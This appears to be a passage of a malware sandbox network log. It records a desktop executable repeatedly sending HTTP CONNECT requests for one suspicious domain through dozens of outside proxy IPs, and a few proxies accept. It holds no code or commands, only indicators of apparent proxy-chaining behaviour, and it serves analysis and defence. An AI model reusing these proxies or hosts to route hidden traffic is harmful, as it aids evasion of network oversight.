Feb 23, 2024 09:45:29.292638063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.350065947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.4	50550	87.106.114.124	6005	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.222187996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.4	50538	202.162.219.12	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.256226063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.4	50546	122.116.150.2	9000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.282514095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.4	50520	199.102.107.145	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.286015034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.4	50403	51.210.45.148	11176	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.300591946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.439716101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.537626028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.537802935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.537961960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:53.537386894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:05.537384987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.4	50569	104.20.125.124	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.303832054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.391217947 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.4	50543	167.172.86.46	10471	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.304378986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.4	50559	162.214.170.144	6984	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.311929941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.771749020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.287362099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.365710974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.475071907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.680334091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865911961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975231886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.178369045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.4	50561	72.210.208.101	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.312338114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.756129980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.4	50411	212.3.112.128	35860	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.335464954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.4	50566	24.249.199.4	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.356558084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50548	116.199.170.17	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.359021902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50547	61.7.183.152	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.369193077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	50577	104.16.207.86	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.372601986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.460566044 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50578	172.67.53.215	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.379374981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.466761112 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:17 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50450	72.210.252.137	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:17.415997982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50574	98.170.57.231	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.844862938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
234	192.168.2.4	50469	27.65.116.243	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.848563910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50571	184.181.217.201	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861061096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50583	195.30.84.218	34090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861331940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50395	103.37.82.134	39873	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861429930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50585	174.77.111.196	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861433029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50486	141.94.174.6	60870	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861469984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50496	192.169.226.96	50578	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861583948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865731001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865938902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.865979910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.865765095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.865518093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50586	157.185.161.100	26589	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861638069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.4	50499	98.178.72.21	10919	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.861980915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50568	27.75.152.191	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.863567114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50490	45.233.2.1	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.863600969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865840912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865906954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.866034031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50526	5.161.98.204	37901	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.863867044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865761995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50517	24.249.199.12	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.865262985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50454	14.103.24.20	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.889874935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50487	61.247.25.231	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.890307903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	49945	199.102.105.242	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.904762030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50220	103.230.126.123	48359	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.921809912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	49758	107.180.101.18	3663	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.935301065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.975018024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.975203037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.975507021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.974983931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.975619078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:06.977415085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	49770	78.47.35.35	3312	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.937578917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.135298967 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50544	184.178.172.13	15311	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.950102091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50043	185.105.230.45	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.968924046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.556143045 CET	84	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/7.4.2 build 5136

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50557	207.180.226.58	64608	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.986393929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178044081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178438902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178740978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	49792	162.215.223.76	62691	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.989684105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.098587036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.147033930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.200637102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.266365051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:55.271842003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:07.271795034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	49803	207.180.234.220	42823	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:18.989953995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
